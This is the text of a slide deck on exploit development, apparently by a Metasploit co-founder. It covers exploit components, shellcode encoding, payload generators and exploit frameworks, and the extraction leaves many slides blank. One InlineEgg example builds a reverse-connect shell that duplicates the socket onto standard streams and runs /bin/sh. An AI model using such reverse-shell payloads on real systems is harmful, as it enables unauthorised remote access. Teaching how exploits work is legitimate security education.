Advanced Exploit Development
Advanced Exploit Development
Who
Who am I?
Co-founder of Digital Defense Security researcher (5+ years) Projects DigitalOffense.net Metasploit.com
2
What
Why
Exploit Trends
Improved Techniques
No more local brute force 4 Bytes: GOT, SEH, PEB
6
Anatomy of an Exploit
Exploit Components
Target and option selection Network and protocol code Payload or shellcode Payload encoding routine Exploit request builder Payload handler routine
9
Target and option selection List of addresses and offsets Process user selected target Process other exploit options This adds up to a lot of code...
10
11
Network and protocol code Resolve the target address Create the appropriate socket Connect the socket if needed Perform any error handling Start protocol negotiation
12
13
Payload or shellcode Executes when exploit works Bindshell, Findsock, Adduser Normally written in assembly Stored in code as binary string Configuration done via offsets
14
15
Payload encoding routine Most exploits restrict characters Encoder must filter these chars Standard type is XOR decode Often just pre-encode payload Payload options also encoded
16
Encoding shellcode...
17
Exploit request builder Code which triggers the vuln Ranges from simple to complex Can require various calculations Normally just string mangling Scripting languages excel at this
18
Payload
19
Payload handler routine Each payload needs a handler Often just connects to bindshell Reverse connect needs listener Connects console to socket Account for large chunk of code
20
21
22
Exploit code is rushed Robust code takes time Coders race to be the first Old exploits are less useful Result: lots of broken code
23
Exploiting Complex Protocols RPC, SSH, SSL, SMB Exploit depends on API Exploit supplied as patch Restricts exploit environment Requires old software archive
24
25
Payload Issues
Most hardcode payloads Firewalls can block bind shells Custom config breaks exploit No standard payload library
26
Payload Generators
27
Generator Basics
Dynamic payload creation Use a high-level language Useful for custom situations
28
29
31
32
Shellforge Example:
#include "include/sfsyscall.h" int main(void) { char buf[] = "Hello world!\n"; write(1, buf, sizeof(buf)); exit(0); }
33
MOSDEF Example:
#import "remote","Kernel32._lcreat" as "_lcreat" #import "string","filename" as "filename //start of code void main() { int i; i=_lcreat(filename); sendint(i,i); }
35
36
InlineEgg Example:
egg = InlineEgg(Linuxx86Syscall) # connect to other side sock = egg.socket(socket.AF_INET,socket.SOCK_STREAM) sock = egg.save(sock) egg.connect(sock,(connect_addr, connect_port)) # dup and exec egg.dup2(sock, 0) egg.dup2(sock, 1) egg.dup2(sock, 2) egg.execve('/bin/sh',('bash','-i'))
37
Exploit Frameworks
38
Framework Basics
Library of common routines Simple to add new payloads Minimize development time Platform for new techniques
39
40
43
45
46
49
52
55
Questions?
56
57